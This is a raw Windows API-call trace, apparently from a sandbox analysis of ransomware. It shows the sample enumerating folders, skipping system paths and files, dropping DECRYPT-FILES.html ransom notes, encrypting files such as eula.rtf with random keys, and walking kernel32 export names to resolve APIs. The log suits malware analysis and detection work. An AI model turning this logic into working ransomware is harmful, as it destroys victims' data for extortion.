VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.692] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.692] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.693] FindNextFileW (in: hFindFile=0x3b80e80, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0138.693] FindClose (in: hFindFile=0x3b80e80 | out: hFindFile=0x3b80e80) returned 1 [0138.693] CloseHandle (hObject=0x528) returned 1 [0138.693] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="2052", cAlternateFileName="")) returned 1 [0138.693] lstrcmpW (lpString1="2052", lpString2=".") returned 1 [0138.693] lstrcmpW (lpString1="2052", lpString2="..") returned 1 [0138.693] lstrcatW (in: lpString1="2052", lpString2="\\" | out: lpString1="2052\\") returned="2052\\" [0138.693] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="2052\\" | out: lpString1="C:\\588bce7c90097ed212\\2052\\") returned="C:\\588bce7c90097ed212\\2052\\" [0138.693] StrStrW (lpFirst="C:\\588bce7c90097ed212\\2052\\", lpSrch=":\\Windows") returned 0x0 [0138.693] StrStrW (lpFirst="C:\\588bce7c90097ed212\\2052\\", lpSrch="\\Program Files") returned 0x0 [0138.693] StrStrW (lpFirst="C:\\588bce7c90097ed212\\2052\\", lpSrch="\\Games\\") returned 0x0 [0138.693] StrStrW (lpFirst="C:\\588bce7c90097ed212\\2052\\", lpSrch="\\Tor Browser\\") returned 0x0 [0138.693] StrStrW (lpFirst="C:\\588bce7c90097ed212\\2052\\", lpSrch="\\ProgramData\\") returned 0x0 [0138.693] StrStrW (lpFirst="C:\\588bce7c90097ed212\\2052\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0138.693] StrStrW (lpFirst="C:\\588bce7c90097ed212\\2052\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0138.693] StrStrW (lpFirst="C:\\588bce7c90097ed212\\2052\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0138.693] StrStrW (lpFirst="C:\\588bce7c90097ed212\\2052\\", lpSrch="\\All Users") returned 0x0 [0138.693] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\") returned 27 [0138.693] lstrlenW (lpString="eogwkz.dat") returned 10 [0138.693] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\2052\\\\eogwkz.dat") returned 38 [0138.693] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\2052\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x528 [0138.694] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\") returned 27 [0138.694] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0138.694] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\2052\\\\DECRYPT-FILES.html") returned 46 [0138.694] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\\\DECRYPT-FILES.html" (normalized: "c:\\588bce7c90097ed212\\2052\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0138.695] WriteFile (in: hFile=0x470, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0138.696] CloseHandle (hObject=0x470) returned 1 [0138.696] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\") returned 27 [0138.696] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\2052\\", lpString2="*" | out: lpString1="C:\\588bce7c90097ed212\\2052\\*") returned="C:\\588bce7c90097ed212\\2052\\*" [0138.696] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x58ebafe5, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3b80f00 [0138.696] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0138.696] FindNextFileW (in: hFindFile=0x3b80f00, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x58ebafe5, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0138.697] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0138.697] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.697] FindNextFileW (in: hFindFile=0x3b80f00, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58ebafe5, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x58ebafe5, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x58ebafe5, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0138.697] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0138.697] FindNextFileW (in: hFindFile=0x3b80f00, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58ebafe5, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x58ebafe5, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x58ebafe5, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0138.697] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0138.697] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0138.697] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0138.697] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0138.697] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0138.697] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0138.697] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0138.697] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0138.697] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0138.697] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0138.697] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\") returned 27 [0138.697] lstrlenW (lpString="eogwkz.dat") returned 10 [0138.697] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\2052\\" | out: lpString1="C:\\588bce7c90097ed212\\2052\\") returned="C:\\588bce7c90097ed212\\2052\\" [0138.697] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\2052\\", lpString2="eogwkz.dat" | out: lpString1="C:\\588bce7c90097ed212\\2052\\eogwkz.dat") returned="C:\\588bce7c90097ed212\\2052\\eogwkz.dat" [0138.697] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0138.697] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\2052\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0138.697] CloseHandle (hObject=0x0) returned 0 [0138.698] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.698] FindNextFileW (in: hFindFile=0x3b80f00, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0138.698] lstrcmpiW (lpString1="eula.rtf", lpString2="DECRYPT-FILES.html") returned 1 [0138.698] lstrcmpiW (lpString1="eula.rtf", lpString2="autorun.inf") returned 1 [0138.698] lstrcmpiW (lpString1="eula.rtf", lpString2="boot.ini") returned 1 [0138.698] lstrcmpiW (lpString1="eula.rtf", lpString2="desktop.ini") returned 1 [0138.698] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat") returned -1 [0138.698] lstrcmpiW (lpString1="eula.rtf", lpString2="iconcache.db") returned -1 [0138.698] lstrcmpiW (lpString1="eula.rtf", lpString2="bootsect.bak") returned 1 [0138.698] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat.log") returned -1 [0138.698] lstrcmpiW (lpString1="eula.rtf", lpString2="thumbs.db") returned -1 [0138.698] lstrcmpiW (lpString1="eula.rtf", lpString2="Bootfont.bin") returned 1 [0138.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\") returned 27 [0138.698] lstrlenW (lpString="eula.rtf") returned 8 [0138.698] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\2052\\" | out: lpString1="C:\\588bce7c90097ed212\\2052\\") returned="C:\\588bce7c90097ed212\\2052\\" [0138.698] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\2052\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned="C:\\588bce7c90097ed212\\2052\\eula.rtf" [0138.698] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0138.698] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0138.699] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=5827) returned 1 [0138.699] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0138.699] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0138.849] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0138.849] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0138.849] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0138.849] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0138.849] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0138.850] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.850] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0138.850] CloseHandle (hObject=0x5f8) returned 1 [0138.850] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.850] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0138.851] CloseHandle (hObject=0x0) returned 0 [0138.851] CloseHandle (hObject=0x5f4) returned 1 [0138.852] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.852] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.853] GetTickCount () returned 0x3808b [0138.853] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0138.854] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0138.854] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0138.854] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0138.854] lstrlenA (lpString="kernel32.dll") returned 12 [0138.855] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0138.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0138.855] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0138.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0138.855] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0138.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0138.855] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0138.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0138.855] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0138.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0138.855] lstrlenA (lpString="ADDATOMA") returned 8 [0138.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0138.855] lstrlenA (lpString="ADDATOMW") returned 8 [0138.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0138.855] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0138.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0138.855] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0138.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0138.855] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0138.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0138.855] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0138.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0138.855] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0138.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0138.856] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0138.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0138.856] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0138.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0138.856] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0138.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0138.856] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0138.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0138.856] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0138.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0138.856] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0138.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0138.856] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0138.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0138.856] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0138.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0138.856] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0138.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0138.856] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0138.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0138.856] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0138.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0138.856] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0138.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0138.856] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0138.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0138.856] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0138.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0138.856] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0138.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0138.856] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0138.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0138.857] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0138.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0138.857] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0138.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0138.857] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0138.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0138.857] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0138.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0138.857] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0138.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0138.857] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0138.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0138.857] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0138.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0138.857] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0138.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0138.857] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0138.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0138.857] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0138.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0138.857] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0138.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0138.857] lstrlenA (lpString="BACKUPREAD") returned 10 [0138.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0138.857] lstrlenA (lpString="BACKUPSEEK") returned 10 [0138.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0138.857] lstrlenA (lpString="BACKUPWRITE") returned 11 [0138.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0138.857] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0138.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0138.857] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0138.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0138.858] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0138.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0138.858] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0138.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0138.858] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0138.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0138.858] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0138.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0138.858] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0138.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0138.858] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0138.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0138.858] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0138.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0138.858] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0138.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0138.858] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0138.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0138.858] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0138.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") 